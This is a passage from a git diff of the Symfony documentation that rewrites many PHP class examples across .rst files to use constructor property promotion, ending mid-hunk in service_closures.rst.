-        private $userManager;
-
-        public function __construct(UserManager $userManager)
-        {
-            $this->userManager = $userManager;
-
+        public function __construct(
+            private UserManager $userManager,
+        ){
             parent::__construct();
         }
 
diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index d279c762ec6..e62170d517f 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -26,12 +26,9 @@ For example, suppose you want to log something from within your command::
     #[AsCommand(name: 'app:sunshine')]
     class SunshineCommand extends Command
     {
-        private $logger;
-
-        public function __construct(LoggerInterface $logger)
-        {
-            $this->logger = $logger;
-
+        public function __construct(
+            private LoggerInterface $logger,
+        ) {
             // you *must* call the parent constructor
             parent::__construct();
         }
diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index e8af77af491..64a14655e28 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -53,15 +53,15 @@ short example containing most features described below::
          * @var string
          */
         private $fooBar;
-        private $qux;
 
         /**
          * @param $dummy some argument description
          */
-        public function __construct(string $dummy, Qux $qux)
-        {
+        public function __construct(
+            string $dummy,
+            private Qux $qux,
+        ) {
             $this->fooBar = $this->transformText($dummy);
-            $this->qux = $qux;
         }
 
         /**
diff --git a/controller/service.rst b/controller/service.rst
index 278e2239569..88676a112ae 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -190,11 +190,9 @@ service and use it directly::
 
     class HelloController
     {
-        private $twig;
-
-        public function __construct(Environment $twig)
-        {
-            $this->twig = $twig;
+        public function __construct(
+            private Environment $twig,
+        ) {
         }
 
         public function index($name)
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index c1ac6d4e29d..e8777f04a25 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -239,13 +239,10 @@ logic to a separate service::
 
     class FileUploader
     {
-        private $targetDirectory;
-        private $slugger;
-
-        public function __construct($targetDirectory, SluggerInterface $slugger)
-        {
-            $this->targetDirectory = $targetDirectory;
-            $this->slugger = $slugger;
+        public function __construct(
+            private $targetDirectory,
+            private SluggerInterface $slugger,
+        ) {
         }
 
         public function upload(UploadedFile $file)
diff --git a/create_framework/event_dispatcher.rst b/create_framework/event_dispatcher.rst
index 181c75b00d2..63457fe8462 100644
--- a/create_framework/event_dispatcher.rst
+++ b/create_framework/event_dispatcher.rst
@@ -45,17 +45,12 @@ the Response instance::
 
     class Framework
     {
-        private $dispatcher;
-        private $matcher;
-        private $controllerResolver;
-        private $argumentResolver;
-
-        public function __construct(EventDispatcher $dispatcher, UrlMatcherInterface $matcher, ControllerResolverInterface $controllerResolver, ArgumentResolverInterface $argumentResolver)
-        {
-            $this->dispatcher = $dispatcher;
-            $this->matcher = $matcher;
-            $this->controllerResolver = $controllerResolver;
-            $this->argumentResolver = $argumentResolver;
+        public function __construct(
+            private EventDispatcher $dispatcher,
+            private UrlMatcherInterface $matcher,
+            private ControllerResolverInterface $controllerResolver,
+            private ArgumentResolverInterface $argumentResolver,
+        ) {
         }
 
         public function handle(Request $request)
@@ -94,13 +89,10 @@ now dispatched::
 
     class ResponseEvent extends Event
     {
-        private $request;
-        private $response;
-
-        public function __construct(Response $response, Request $request)
-        {
-            $this->response = $response;
-            $this->request = $request;
+        public function __construct(
+            private Response $response,
+            private Request $request,
+        ) {
         }
 
         public function getResponse()
diff --git a/create_framework/separation_of_concerns.rst b/create_framework/separation_of_concerns.rst
index 24d34f0e82b..76098683226 100644
--- a/create_framework/separation_of_concerns.rst
+++ b/create_framework/separation_of_concerns.rst
@@ -27,15 +27,11 @@ request handling logic into its own ``Simplex\Framework`` class::
 
     class Framework
     {
-        private $matcher;
-        private $controllerResolver;
-        private $argumentResolver;
-
-        public function __construct(UrlMatcher $matcher, ControllerResolver $controllerResolver, ArgumentResolver $argumentResolver)
-        {
-            $this->matcher = $matcher;
-            $this->controllerResolver = $controllerResolver;
-            $this->argumentResolver = $argumentResolver;
+        public function __construct(
+            private UrlMatcher $matcher,
+            private ControllerResolver $controllerResolver,
+            private ArgumentResolver $argumentResolver,
+        ) {
         }
 
         public function handle(Request $request)
diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index c2d04115812..24e17fc8ccf 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -62,15 +62,11 @@ resolver. Modify the framework to make use of them::
 
     class Framework
     {
-        protected $matcher;
-        protected $controllerResolver;
-        protected $argumentResolver;
-
-        public function __construct(UrlMatcherInterface $matcher, ControllerResolverInterface $resolver, ArgumentResolverInterface $argumentResolver)
-        {
-            $this->matcher = $matcher;
-            $this->controllerResolver = $resolver;
-            $this->argumentResolver = $argumentResolver;
+        public function __construct(
+            private UrlMatcherInterface $matcher,
+            private ControllerResolverInterface $resolver,
+            private ArgumentResolverInterface $argumentResolver,
+        ) {
         }
 
         // ...
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index d1d309b822f..d41ee4556e0 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -551,11 +551,9 @@ event subscribers, you can learn more about them at :doc:`/event_dispatcher`::
 
     class TokenSubscriber implements EventSubscriberInterface
     {
-        private $tokens;
-
-        public function __construct($tokens)
-        {
-            $this->tokens = $tokens;
+        public function __construct(
+            private $tokens
+        ) {
         }
 
         public function onKernelController(ControllerEvent $event)
@@ -716,13 +714,10 @@ this::
 
     class BeforeSendMailEvent extends Event
     {
-        private $subject;
-        private $message;
-
-        public function __construct($subject, $message)
-        {
-            $this->subject = $subject;
-            $this->message = $message;
+        public function __construct(
+            private $subject,
+            private $message,
+        ) {
         }
 
         public function getSubject()
@@ -755,11 +750,9 @@ And the ``AfterSendMailEvent`` even like this::
 
     class AfterSendMailEvent extends Event
     {
-        private $returnValue;
-
-        public function __construct($returnValue)
-        {
-            $this->returnValue = $returnValue;
+        public function __construct(
+            private $returnValue,
+        ) {
         }
 
         public function getReturnValue()
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 2998a763445..d3fdd12a85b 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -463,11 +463,9 @@ defined by the form or be completely independent::
 
     class PostalAddressType extends AbstractType
     {
-        private $entityManager;
-
-        public function __construct(EntityManagerInterface $entityManager)
-        {
-            $this->entityManager = $entityManager;
+        public function __construct(
+            private EntityManagerInterface $entityManager,
+        ) {
         }
 
         // ...
diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index c29036c148d..1b241a1fcda 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -36,15 +36,11 @@ using an immutable color object::
 
     final class Color
     {
-        private $red;
-        private $green;
-        private $blue;
-
-        public function __construct(int $red, int $green, int $blue)
-        {
-            $this->red = $red;
-            $this->green = $green;
-            $this->blue = $blue;
+        public function __construct(
+            private int $red,
+            private int $green,
+            private int $blue,
+        ) {
         }
 
         public function getRed(): int
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 8258ee2794a..899a99a7dfc 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -177,8 +177,9 @@ to and from the issue number and the ``Issue`` object::
 
     class IssueToNumberTransformer implements DataTransformerInterface
     {
-        public function __construct(private EntityManagerInterface $entityManager)
-        {
+        public function __construct(
+            private EntityManagerInterface $entityManager,
+        ) {
         }
 
         /**
@@ -261,11 +262,9 @@ and type-hint the new class::
     // ...
     class TaskType extends AbstractType
     {
-        private $transformer;
-
-        public function __construct(IssueToNumberTransformer $transformer)
-        {
-            $this->transformer = $transformer;
+        public function __construct(
+            private IssueToNumberTransformer $transformer,
+        ) {
         }
 
         public function buildForm(FormBuilderInterface $builder, array $options): void
@@ -378,11 +377,9 @@ First, create the custom field type class::
 
     class IssueSelectorType extends AbstractType
     {
-        private $transformer;
-
-        public function __construct(IssueToNumberTransformer $transformer)
-        {
-            $this->transformer = $transformer;
+        public function __construct(
+            private IssueToNumberTransformer $transformer,
+        ) {
         }
 
         public function buildForm(FormBuilderInterface $builder, array $options): void
@@ -484,7 +481,7 @@ To use the view transformer, call ``addViewTransformer()``.
     data. So your model transformer cannot reduce the number of items within the
     Collection (i.e. filtering out some items), as in that case the collection
     ends up with some empty children.
-    
+
     A possible workaround for that limitation could be not using the underlying
     object directly, but a DTO (Data Transfer Object) instead, that implements
     the transformation of such incompatible data structures.
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 5866ded610d..be05a6a6ffa 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -238,11 +238,9 @@ service into the form type so you can get the current user object::
 
     class FriendMessageFormType extends AbstractType
     {
-        private $security;
-
-        public function __construct(Security $security)
-        {
-            $this->security = $security;
+        public function __construct(
+            private Security $security,
+        ) {
         }
 
         // ....
@@ -267,11 +265,9 @@ security helper to fill in the listener logic::
 
     class FriendMessageFormType extends AbstractType
     {
-        private $security;
-
-        public function __construct(Security $security)
-        {
-            $this->security = $security;
+        public function __construct(
+            private Security $security,
+        ) {
         }
 
         public function buildForm(FormBuilderInterface $builder, array $options): void
diff --git a/form/use_empty_data.rst b/form/use_empty_data.rst
index c2cba15ad7f..abaafc777d3 100644
--- a/form/use_empty_data.rst
+++ b/form/use_empty_data.rst
@@ -53,11 +53,9 @@ that constructor with no arguments::
 
     class BlogType extends AbstractType
     {
-        private $someDependency;
-
-        public function __construct($someDependency)
-        {
-            $this->someDependency = $someDependency;
+        public function __construct(
+            private $someDependency,
+        ) {
         }
         // ...
 
diff --git a/form/validation_group_service_resolver.rst b/form/validation_group_service_resolver.rst
index 9b12bdfec55..da07585b511 100644
--- a/form/validation_group_service_resolver.rst
+++ b/form/validation_group_service_resolver.rst
@@ -13,14 +13,10 @@ parameter::
 
     class ValidationGroupResolver
     {
-        private $service1;
-
-        private $service2;
-
-        public function __construct($service1, $service2)
-        {
-            $this->service1 = $service1;
-            $this->service2 = $service2;
+        public function __construct(
+            private $service1,
+            private $service2,
+        ) {
         }
 
         public function __invoke(FormInterface $form): array
@@ -44,11 +40,9 @@ Then in your form, inject the resolver and set it as the ``validation_groups``::
 
     class MyClassType extends AbstractType
     {
-        private $groupResolver;
-
-        public function __construct(ValidationGroupResolver $groupResolver)
-        {
-            $this->groupResolver = $groupResolver;
+        public function __construct(
+            private ValidationGroupResolver $groupResolver,
+        ) {
         }
 
         // ...
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index 8a5d77cae5e..23e1a4cdfa5 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -52,28 +52,17 @@ version string::
 
     class GulpBusterVersionStrategy implements VersionStrategyInterface
     {
-        /**
-         * @var string
-         */
-        private $manifestPath;
-
-        /**
-         * @var string
-         */
-        private $format;
+        private string $format;
 
         /**
          * @var string[]
          */
-        private $hashes;
+        private array $hashes;
 
-        /**
-         * @param string      $manifestPath
-         * @param string|null $format
-         */
-        public function __construct(string $manifestPath, string $format = null)
-        {
-            $this->manifestPath = $manifestPath;
+        public function __construct(
+            private string $manifestPath,
+            ?string $format = null,
+        ) {
             $this->format = $format ?: '%s?%s';
         }
 
diff --git a/http_client.rst b/http_client.rst
index 04d3f0cc24b..ef138bc75b9 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -32,11 +32,9 @@ automatically when type-hinting for :class:`Symfony\\Contracts\\HttpClient\\Http
 
         class SymfonyDocs
         {
-            private $client;
-
-            public function __construct(HttpClientInterface $client)
-            {
-                $this->client = $client;
+            public function __construct(
+                private HttpClientInterface $client,
+            ) {
             }
 
             public function fetchGitHubInformation(): array
@@ -1378,11 +1376,9 @@ interface you need to code against when a client is needed::
 
     class MyApiLayer
     {
-        private $client;
-
-        public function __construct(HttpClientInterface $client)
-        {
-            $this->client = $client;
+        public function __construct(
+            private HttpClientInterface $client,
+        ) {
         }
 
         // [...]
@@ -1430,11 +1426,9 @@ Now you can make HTTP requests with the PSR-18 client as follows:
 
         class Symfony
         {
-            private $client;
-
-            public function __construct(ClientInterface $client)
-            {
-                $this->client = $client;
+            public function __construct(
+                private ClientInterface $client,
+            ) {
             }
 
             public function getAvailableVersions(): array
@@ -1940,11 +1934,9 @@ test it in a real application::
 
     final class ExternalArticleService
     {
-        private HttpClientInterface $httpClient;
-
-        public function __construct(HttpClientInterface $httpClient)
-        {
-            $this->httpClient = $httpClient;
+        public function __construct(
+            private HttpClientInterface $httpClient,
+        ) {
         }
 
         public function createArticle(array $requestData): array
diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index aa4a64dab69..f14b5dd8f89 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -186,10 +186,10 @@ change your constructor like this:
 
 .. code-block:: diff
 
-    -     public function __construct(LoggerInterface $logger)
-    +     public function __construct(LoggerInterface $fooBarLogger)
-        {
-            $this->logger = $fooBarLogger;
+        public function __construct(
+    -     LoggerInterface $logger,
+    +     LoggerInterface $fooBarLogger,
+        ) {
         }
 
 .. _`MonologBundle`: https://github.com/symfony/monolog-bundle
diff --git a/messenger.rst b/messenger.rst
index 4fb93bba074..6250cecdc69 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -35,11 +35,9 @@ serialized::
 
     class SmsNotification
     {
-        private $content;
-
-        public function __construct(string $content)
-        {
-            $this->content = $content;
+        public function __construct(
+            private string $content,
+        ) {
         }
 
         public function getContent(): string
@@ -365,11 +363,9 @@ etc.) instead of the object (otherwise you might see errors related to the Entit
 
     class NewUserWelcomeEmail
     {
-        private $userId;
-
-        public function __construct(int $userId)
-        {
-            $this->userId = $userId;
+        public function __construct(
+            private int $userId,
+        ) {
         }
 
         public function getUserId(): int
@@ -390,11 +386,9 @@ Then, in your handler, you can query for a fresh object::
     #[AsMessageHandler]
     class NewUserWelcomeEmailHandler
     {
-        private $userRepository;
-
-        public function __construct(UserRepository $userRepository)
-        {
-            $this->userRepository = $userRepository;
+        public function __construct(
+            private UserRepository $userRepository,
+        ) {
         }
 
         public function __invoke(NewUserWelcomeEmail $welcomeEmail)
diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index e496fcf6263..2207035e11a 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -44,15 +44,15 @@ Here is a simplified example of a database transport::
 
     class YourTransport implements TransportInterface
     {
-        private $db;
-        private $serializer;
+        private SerializerInterface $serializer;
 
         /**
          * @param FakeDatabase $db is used for demo purposes. It is not a real class.
          */
-        public function __construct(FakeDatabase $db, SerializerInterface $serializer = null)
-        {
-            $this->db = $db;
+        public function __construct(
+            private FakeDatabase $db,
+            SerializerInterface $serializer = null,
+        ) {
             $this->serializer = $serializer ?? new PhpSerializer();
         }
 
diff --git a/messenger/dispatch_after_current_bus.rst b/messenger/dispatch_after_current_bus.rst
index ec1adf4d0f4..cc871255bbc 100644
--- a/messenger/dispatch_after_current_bus.rst
+++ b/messenger/dispatch_after_current_bus.rst
@@ -57,13 +57,10 @@ using the ``DispatchAfterCurrentBusMiddleware`` and adding a
 
     class RegisterUserHandler
     {
-        private $eventBus;
-        private $em;
-
-        public function __construct(MessageBusInterface $eventBus, EntityManagerInterface $em)
-        {
-            $this->eventBus = $eventBus;
-            $this->em = $em;
+        public function __construct(
+            private MessageBusInterface $eventBus,
+            private EntityManagerInterface $em,
+        ) {
         }
 
         public function __invoke(RegisterUser $command)
@@ -97,13 +94,10 @@ using the ``DispatchAfterCurrentBusMiddleware`` and adding a
 
     class WhenUserRegisteredThenSendWelcomeEmail
     {
-        private $mailer;
-        private $em;
-
-        public function __construct(MailerInterface $mailer, EntityManagerInterface $em)
-        {
-            $this->mailer = $mailer;
-            $this->em = $em;
+        public function __construct(
+            private MailerInterface $mailer,
+            EntityManagerInterface $em,
+        ) {
         }
 
         public function __invoke(UserRegistered $event)
diff --git a/messenger/handler_results.rst b/messenger/handler_results.rst
index 8d630d011f4..e721b1fb6e8 100644
--- a/messenger/handler_results.rst
+++ b/messenger/handler_results.rst
@@ -48,9 +48,9 @@ handler is registered. The ``HandleTrait`` can be used in any class that has a
     {
         use HandleTrait;
 
-        public function __construct(MessageBusInterface $messageBus)
-        {
-            $this->messageBus = $messageBus;
+        public function __construct(
+            private MessageBusInterface $messageBus,
+        ) {
         }
 
         public function __invoke()
@@ -83,9 +83,9 @@ wherever you need a query bus behavior instead of the ``MessageBusInterface``::
     {
         use HandleTrait;
 
-        public function __construct(MessageBusInterface $messageBus)
-        {
-            $this->messageBus = $messageBus;
+        public function __construct(
+            private MessageBusInterface $messageBus,
+        ) {
         }
 
         /**
diff --git a/notifier.rst b/notifier.rst
index 08a5054249f..311b24cb18d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -710,11 +710,9 @@ very high and the recipient has a phone number::
 
     class InvoiceNotification extends Notification
     {
-        private $price;
-
-        public function __construct(int $price)
-        {
-            $this->price = $price;
+        public function __construct(
+            private int $price,
+        ) {
         }
 
         public function getChannels(RecipientInterface $recipient)
@@ -749,11 +747,9 @@ and its ``asChatMessage()`` method::
 
     class InvoiceNotification extends Notification implements ChatNotificationInterface
     {
-        private $price;
-
-        public function __construct(int $price)
-        {
-            $this->price = $price;
+        public function __construct(
+            private int $price,
+        ) {
         }
 
         public function asChatMessage(RecipientInterface $recipient, string $transport = null): ?ChatMessage
diff --git a/performance.rst b/performance.rst
index 17c77d7c038..1bea7d85be3 100644
--- a/performance.rst
+++ b/performance.rst
@@ -248,11 +248,9 @@ and Symfony will inject the ``debug.stopwatch`` service::
 
     class DataExporter
     {
-        private $stopwatch;
-
-        public function __construct(Stopwatch $stopwatch)
-        {
-            $this->stopwatch = $stopwatch;
+        public function __construct(
+            private Stopwatch $stopwatch,
+        ) {
         }
 
         public function export()
diff --git a/profiler.rst b/profiler.rst
index 12441d703ec..4fe184d1c95 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -195,13 +195,14 @@ event::
     use Symfony\Component\HttpKernel\KernelInterface;
 
     // ...
-    
+
     class MySubscriber implements EventSubscriberInterface
     {
-        public function __construct(private KernelInterface $kernel)
-        {
+        public function __construct(
+            private KernelInterface $kernel,
+        ) {
         }
-        
+
         // ...
 
         public function onKernelResponse(ResponseEvent $event)
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 9ba2ce9f305..36953bd55b7 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -139,8 +139,9 @@ difference is that it's done in the constructor:
 
       class GreetingGenerator
       {
-    +     public function __construct(private readonly LoggerInterface $logger)
-    +     {
+    +     public function __construct(
+    +         private readonly LoggerInterface $logger,
+    +     ) {
     +     }
 
           public function getRandomGreeting(): string
@@ -173,8 +174,9 @@ that extends ``AbstractExtension``::
 
     class GreetExtension extends AbstractExtension
     {
-        public function __construct(private readonly GreetingGenerator $greetingGenerator)
-        {
+        public function __construct(
+            private readonly GreetingGenerator $greetingGenerator,
+        ) {
         }
 
         public function getFilters()
diff --git a/routing.rst b/routing.rst
index e6823db145b..ba8f48adc2b 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2285,8 +2285,9 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
 
     class SomeService
     {
-        public function __construct(private UrlGeneratorInterface $router)
-        {
+        public function __construct(
+            private UrlGeneratorInterface $router,
+        ) {
         }
 
         public function someMethod()
@@ -2401,8 +2402,9 @@ Now you'll get the expected results when generating URLs in your commands::
 
     class SomeCommand extends Command
     {
-        public function __construct(private RouterInterface $router)
-        {
+        public function __construct(
+            private RouterInterface $router,
+        ) {
             parent::__construct();
         }
 
diff --git a/security.rst b/security.rst
index d91fc3cfe0d..614041b4a94 100644
--- a/security.rst
+++ b/security.rst
@@ -610,14 +610,12 @@ use the :class:`Symfony\\Bundle\\SecurityBundle\\Security` service::
 
     class ExampleService
     {
-        private Security $security;
-
-        public function __construct(Security $security, RequestStack $requestStack)
-        {
-            $this->requestStack = $requestStack;
+        public function __construct(
             // Avoid calling getFirewallConfig() in the constructor: auth may not
             // be complete yet. Instead, store the entire Security object.
-            $this->security = $security;
+            private Security $security,
+            RequestStack $requestStack,
+        ) {
         }
 
         public function someMethod()
@@ -1918,13 +1916,11 @@ If you need to get the logged in user from a service, use the
 
     class ExampleService
     {
-        private $security;
-
-        public function __construct(Security $security)
-        {
-            // Avoid calling getUser() in the constructor: auth may not
-            // be complete yet. Instead, store the entire Security object.
-            $this->security = $security;
+        // Avoid calling getUser() in the constructor: auth may not
+        // be complete yet. Instead, store the entire Security object.
+        public function __construct(
+            private Security $security,
+        ){
         }
 
         public function someMethod()
@@ -2347,11 +2343,9 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
 
       class SalesReportManager
       {
-    +     private $security;
-
-    +     public function __construct(Security $security)
-    +     {
-    +         $this->security = $security;
+    +     public function __construct(
+    +         Security $security,
+    +     ) {
     +     }
 
           public function generateReport()
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index b1c73ce5e88..c6bebd13f36 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -36,11 +36,9 @@ unauthenticated user tries to access a protected resource::
 
     class AuthenticationEntryPoint implements AuthenticationEntryPointInterface
     {
-        private $urlGenerator;
-
-        public function __construct(UrlGeneratorInterface $urlGenerator)
-        {
-            $this->urlGenerator = $urlGenerator;
+        public function __construct(
+            UrlGeneratorInterface $urlGenerator,
+        ) {
         }
 
         public function start(Request $request, AuthenticationException $authException = null): RedirectResponse
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 9ede9653d87..f817bb159de 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -229,11 +229,9 @@ using :ref:`the user provider <security-user-providers>`::
 
         class CustomAuthenticator extends AbstractAuthenticator
         {
-            private $userRepository;
-
-            public function __construct(UserRepository $userRepository)
-            {
-                $this->userRepository = $userRepository;
+            public function __construct(
+                private UserRepository $userRepository,
+            ) {
             }
 
             public function authenticate(Request $request): Passport
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 562d86d2ed0..1b3365a864a 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -166,11 +166,9 @@ the impersonator user::
 
     class SomeService
     {
-        private $security;
-
-        public function __construct(Security $security)
-        {
-            $this->security = $security;
+        public function __construct(
+            private Security $security,
+        ) {
         }
 
         public function someMethod()
@@ -374,11 +372,9 @@ logic you want::
 
     class SwitchToCustomerVoter extends Voter
     {
-        private $security;
-
-        public function __construct(Security $security)
-        {
-            $this->security = $security;
+        public function __construct(
+            private Security $security,
+        ) {
         }
 
         protected function supports($attribute, $subject): bool
diff --git a/security/voters.rst b/security/voters.rst
index 0755e17f39d..b18feaf39bb 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -228,11 +228,9 @@ with ``ROLE_SUPER_ADMIN``::
     {
         // ...
 
-        private $security;
-
-        public function __construct(Security $security)
-        {
-            $this->security = $security;
+        public function __construct(
+            private Security $security,
+        ) {
         }
 
         protected function voteOnAttribute($attribute, mixed $subject, TokenInterface $token): bool
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index fa7aa1f0094..4a03ea1f34e 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -27,13 +27,10 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
 
     class TopicNormalizer implements NormalizerInterface
     {
-        private $router;
-        private $normalizer;
-
-        public function __construct(UrlGeneratorInterface $router, ObjectNormalizer $normalizer)
-        {
-            $this->router = $router;
-            $this->normalizer = $normalizer;
+        public function __construct(
+            private UrlGeneratorInterface $router,
+            private ObjectNormalizer $normalizer,
+        ) {
         }
 
         public function normalize($topic, string $format = null, array $context = [])
diff --git a/service_container.rst b/service_container.rst
index dc1337e24c3..02cb3007d92 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -284,11 +284,9 @@ and use it later::
 
     class MessageGenerator
     {
-        private $logger;
-
-        public function __construct(LoggerInterface $logger)
-        {
-            $this->logger = $logger;
+        public function __construct(
+            private LoggerInterface $logger,
+        ) {
         }
 
         public function getHappyMessage(): string
@@ -347,13 +345,10 @@ made. To do that, you create a new class::
 
     class SiteUpdateManager
     {
-        private $messageGenerator;
-        private $mailer;
-
-        public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer)
-        {
-            $this->messageGenerator = $messageGenerator;
-            $this->mailer = $mailer;
+        public function __construct(
+            private MessageGenerator $messageGenerator,
+            private MailerInterface $mailer,
+        ) {
         }
 
         public function notifyOfSiteUpdate(): bool
@@ -421,11 +416,11 @@ example, suppose you want to make the admin email configurable:
           // ...
     +    private $adminEmail;
 
-    -    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer)
-    +    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer, string $adminEmail)
-          {
-              // ...
-    +        $this->adminEmail = $adminEmail;
+          public function __construct(
+              private MessageGenerator $messageGenerator,
+              private MailerInterface $mailer,
+    +        private string $adminEmail,)
+          ) {
           }
 
           public function notifyOfSiteUpdate(): bool
@@ -623,11 +618,9 @@ The ``MessageGenerator`` service created earlier requires a ``LoggerInterface``
 
     class MessageGenerator
     {
-        private $logger;
-
-        public function __construct(LoggerInterface $logger)
-        {
-            $this->logger = $logger;
+        public function __construct(
+            private LoggerInterface $logger,
+        ) {
         }
         // ...
     }
@@ -715,12 +708,12 @@ Let's add an argument to our ``MessageGenerator`` constructor::
 
     class MessageGenerator
     {
-        private $logger;
         private $messageHash;
 
-        public function __construct(LoggerInterface $logger, callable $generateMessageHash)
-        {
-            $this->logger = $logger;
+        public function __construct(
+            private LoggerInterface $logger,
+            callable $generateMessageHash,
+        ) {
             $this->messageHash = $generateMessageHash();
         }
         // ...
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 3a8c334b040..ecafec80d61 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -45,11 +45,9 @@ And now a Twitter client using this transformer::
 
     class TwitterClient
     {
-        private $transformer;
-
-        public function __construct(Rot13Transformer $transformer)
-        {
-            $this->transformer = $transformer;
+        public function __construct(
+            private Rot13Transformer $transformer,
+        ) {
         }
 
         public function tweet(User $user, string $key, string $status): void
@@ -167,9 +165,9 @@ Autowiring works by reading the ``Rot13Transformer`` *type-hint* in ``TwitterCli
     {
         // ...
 
-        public function __construct(Rot13Transformer $transformer)
-        {
-            $this->transformer = $transformer;
+        public function __construct(
+            private Rot13Transformer $transformer,
+        ) {
         }
     }
 
@@ -299,8 +297,9 @@ Now that you have an interface, you should use this as your type-hint::
 
     class TwitterClient
     {
-        public function __construct(TransformerInterface $transformer)
-        {
+        public function __construct(
+            private TransformerInterface $transformer,
+        ) {
             // ...
         }
 
@@ -384,8 +383,9 @@ dealing with the ``TransformerInterface``.
 
         class DataFormatter
         {
-            public function __construct((NormalizerInterface&DenormalizerInterface)|SerializerInterface $transformer)
-            {
+            public function __construct(
+                private (NormalizerInterface&DenormalizerInterface)|SerializerInterface $transformer,
+            ) {
                 // ...
             }
 
@@ -436,11 +436,9 @@ the injection::
 
     class MastodonClient
     {
-        private $transformer;
-
-        public function __construct(TransformerInterface $shoutyTransformer)
-        {
-            $this->transformer = $shoutyTransformer;
+        public function __construct(
+            private TransformerInterface $shoutyTransformer,
+        ) {
         }
 
         public function toot(User $user, string $key, string $status): void
diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 94909eff2f7..fe666b42956 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -85,11 +85,9 @@ to create a configurator class to configure these instances::
 
     class EmailConfigurator
     {
-        private $formatterManager;
-
-        public function __construct(EmailFormatterManager $formatterManager)
-        {
-            $this->formatterManager = $formatterManager;
+        public function __construct(
+            private EmailFormatterManager $formatterManager,
+        ) {
         }
 
         public function configure(EmailFormatterAwareInterface $emailManager): void
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index b955572c62c..63df4b73945 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -25,11 +25,9 @@ the dependency::
     // ...
     class NewsletterManager
     {
-        private $mailer;
-
-        public function __construct(MailerInterface $mailer)
-        {
-            $this->mailer = $mailer;
+        public function __construct(
+            private MailerInterface $mailer,
+        ) {
         }
 
         // ...
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 94e93818672..ce7302c650e 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -18,12 +18,11 @@ you may have multiple repository classes which need the
     // ...
     abstract class BaseDoctrineRepository
     {
-        protected $objectManager;
         protected $logger;
 
-        public function __construct(ObjectManager $objectManager)
-        {
-            $this->objectManager = $objectManager;
+        public function __construct(
+            protected ObjectManager $objectManager,
+        ) {
         }
 
         public function setLogger(LoggerInterface $logger): void
diff --git a/service_container/request.rst b/service_container/request.rst
index d72a533507b..32f33f6443b 100644
--- a/service_container/request.rst
+++ b/service_container/request.rst
@@ -18,11 +18,9 @@ method::
 
     class NewsletterManager
     {
-        protected $requestStack;
-
-        public function __construct(RequestStack $requestStack)
-        {
-            $this->requestStack = $requestStack;
+        public function __construct(
+            protected RequestStack $requestStack,
+        ) {
         }
 
         public function anyMethod()
diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index 54b4db7f4a7..ba244a74b36 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -20,13 +20,11 @@ all subsequent calls return the same instance, unless the service is
     class MyService
     {
         /**
-         * @var callable(): MailerInterface
+         * @param callable(): MailerInterface
          */
-        private \Closure $mailer;
-
-        public function __construct(\Closure $mailer)
-        {
-            $this->mailer = $mailer;
+        public function __construct(
